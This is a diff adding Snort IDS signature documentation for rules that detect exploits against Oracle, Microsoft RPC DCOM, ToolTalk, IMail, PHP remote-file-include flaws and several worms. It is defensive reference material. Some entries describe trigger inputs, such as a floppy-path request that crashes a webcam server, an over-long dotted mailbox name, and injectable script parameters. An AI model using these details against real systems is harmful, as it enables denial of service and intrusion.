--- snort-2.8.5.2.orig/doc/signatures/461.txt
+++ snort-2.8.5.2/doc/signatures/461.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+461
+
+--
+
+Summary:
+This event is generated when an ICMP Type 2 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 2 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 2 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 2 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1454.txt
+++ snort-2.8.5.2/doc/signatures/1454.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1454
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server, in this case
+the wwwwais cgi application.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Securiteam:
+http://www.securiteam.com/unixfocus/5SP140035A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000131.txt
+++ snort-2.8.5.2/doc/signatures/100000131.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000131
+
+-- 
+Summary: 
+This event is generated when a request for a file residing on a floppy drive is 
+sent to the PY Software Active Webcam Server. 
+
+-- 
+
+Impact: 
+A denial of service will result, and the server will need to be manually 
+restarted.
+
+--
+Detailed Information:
+Requests for files residing on a floppy drive will cause the PY Software Active 
+Webcam Server to crash. This rule looks for requests in the form of 
+"/A:file.ext" on port 8080, the default port for this server.
+
+--
+Affected Systems:
+PY Software Active WebCam 4.3
+PY Software Active WebCam 5.5
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, there are no known workarounds or fixes.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2661.txt
+++ snort-2.8.5.2/doc/signatures/2661.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid: 
+2661
+
+-- 
+Summary: 
+This rule is intended to increase the accuracy of rules designed to
+generate events based on attempts to exploit implementations of Secure
+Socket Layer (SSL) version 2.
+
+-- 
+Impact: 
+None. This is a protocol decode rule that does not generate events.
+
+--
+Detailed Information:
+This is a protocol decode rule that does not generate events.
+
+--
+Affected Systems:
+NA
+
+--
+Attack Scenarios: 
+NA
+
+-- 
+Ease of Attack: 
+NA
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+NA
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2748.txt
+++ snort-2.8.5.2/doc/signatures/2748.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2748
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1311.txt
+++ snort-2.8.5.2/doc/signatures/1311.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1311
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "hardcore anal".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "hardcore anal".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3106.txt
+++ snort-2.8.5.2/doc/signatures/3106.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3106
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2216.txt
+++ snort-2.8.5.2/doc/signatures/2216.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2216
+
+--
+Summary:
+This event is generated when an attempt is made to access readmail.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in Ipswitch IMail 7.04 and earlier.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+Ipswitch IMail is a mail server that supports multiple mail protocols. Its web mail implementation contains a vulnerability in readmail.cgi where, if a mailbox name with more than 248 dot characters (.) is requested, the server will crash. It has also been reported that this is caused by a buffer overflow error that may allow an attacker to execute arbitrary code, but this has not been confirmed.
+
+--
+Affected Systems:
+Mail servers running Ipswitch Imail 7.04 and earlier with web mail enabled.
+
+--
+Attack Scenarios:
+An attacker sends an HTTP request to readmail.cgi for a mailbox with more than 248 dot characters in the mailbox name parameter. The mail server will crash and must be restarted.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user accesses readmail.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer version or apply the vendor-supplied hotfix available at ftp://ftp.ipswitch.com/Ipswitch/Product_Support/IMail/imail704.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/3427
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2356.txt
+++ snort-2.8.5.2/doc/signatures/2356.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2356
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application WebChat.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+WebChat contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable
+WEBCHATPATH when making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file db_mysql.php.
+
+--
+Affected Systems:
+	Webdev Webchat 0.77
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the WEBCHATPATH variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1809.txt
+++ snort-2.8.5.2/doc/signatures/1809.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1809
+
+--
+Summary:
+This event is generated when an attempt is made to infect a web server by the "Scalper" worm.
+
+--
+Impact:
+An infected server will open ports and listen for commands as well as 
+attempt to infect more systems.
+
+--
+Detailed Information:
+This worm takes advantage of the chunked encoding vulnerability in 
+Apache to infect new systems. Once infected, the worm opens UDP port 
+2001 and will listen for additional commands. It will also begin 
+scanning for new hosts to infect.
+
+--
+Affected Systems:
+Version of Apache 1.3 up to and including 1.3.24 and versions of Apache 
+2.0 up to 2.0.36. All versions of Apache 1.2 are vulnerable. This worm 
+will only infect systems running FreeBSD.
+
+--
+Attack Scenarios:
+Typical self-replicating worm.
+
+--
+Ease of Attack:
+Simple. This is worm activity and is fully automated.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade your installation of Apache if you are running a vulnerable 
+version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Symantec
+http://securityresponse.symantec.com/avcenter/venc/data/freebsd.scalper.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3283.txt
+++ snort-2.8.5.2/doc/signatures/3283.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3283
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1865.txt
+++ snort-2.8.5.2/doc/signatures/1865.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1865
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1964.txt
+++ snort-2.8.5.2/doc/signatures/1964.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1964
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) ToolTalk.
+
+--
+Impact:
+Remote root access. This attack may permit the execution of arbitrary
+commands with the privileges of root.
+
+--
+Detailed Information:
+The ttdbserverd RPC service, more commonly known as the ToolTalk
+database server, allows applications to communicate in the Common
+Desktop Environment (CDE).  The ToolTalk service receives ToolTalk
+messages created and sent by applications and delivers them to the
+appropriate recipient applications.  The ToolTalk database server is
+enabled by default on hosts with CDE.  A function in the code receives
+an argument for a pathname.  If an overly long pathname is passed to the
+function, a buffer overflow may occur, possibly allowing the execution
+of arbitrary commands with the privileges of root.
+
+--
+Affected Systems:
+	HP HP-UX 10.10, 10.20, 10.30, 11.0
+	IBM AIX 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.2, 4.2.1, 4.3
+	SGI IRIX 5.2, 5.3, 6.0, 6.0.1, 6.2, 6.3, 6.4
+	Sun Solaris 1.1, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.2, 2.0, 2.1, 2.2, 2.3,
+	2.4, 2.5, 2.5.1, 2.6
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where
+ttdbserverd runs.  Alternately, an attacker may attempt to execute the
+exploit code on any listening port in the RPC range if the portmapper is
+blocked.
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/957.txt
+++ snort-2.8.5.2/doc/signatures/957.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+957
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1803.txt
+++ snort-2.8.5.2/doc/signatures/1803.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1803
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3171.txt
+++ snort-2.8.5.2/doc/signatures/3171.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3171
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3249.txt
+++ snort-2.8.5.2/doc/signatures/3249.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3249
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000485.txt
+++ snort-2.8.5.2/doc/signatures/100000485.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000485
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "RahnemaCo" application running on a webserver. 
+Access to the file "page.php" using a remote file being passed as the "osCsid" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "osCsid" parameter in the "page.php" script used by the 
+"RahnemaCo" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using RahnemaCo
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/735.txt
+++ snort-2.8.5.2/doc/signatures/735.txt
@@ -0,0 +1,91 @@
+Rule:
+
+--
+Sid:
+735
+
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2203.txt
+++ snort-2.8.5.2/doc/signatures/2203.txt
@@ -0,0 +1,55 @@
+Rule:  
+
+--
+Sid:
+2203
+
+--
+Summary:
+This event is generated when an attempt is made to access everythingform.cgi on an internal web server. This may indicate an attempt to exploit a remote command execution vulnerability in Leif M. Wright's everythingform.cgi script.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+Leif Wright's everythingform.cgi script is a Perl script that processes multiple forms. It contains a parsing vulnerability in a hidden "config" field that enables an attacker to run arbitrary shell commands with the security context of the web server.
+
+--
+Affected Systems:
+Web servers running Leif M. Wright Everythingform.cgi 2.0.
+--
+Attack Scenarios:
+An attacker uses a specially crafted value for the config field. Any commands included in the value are executed with the security context of the web server.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses everythingform.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable everythingform.cgi. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/2101
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000839.txt
+++ snort-2.8.5.2/doc/signatures/100000839.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000839
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHP Event Calendar" application running on a webserver. Access to the file "calendar.php" using a remote file being passed as the "path_to_calendar" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "path_to_calendar" parameter in the "calendar.php" script used by the "PHP Event Calendar" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Event Calendar
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
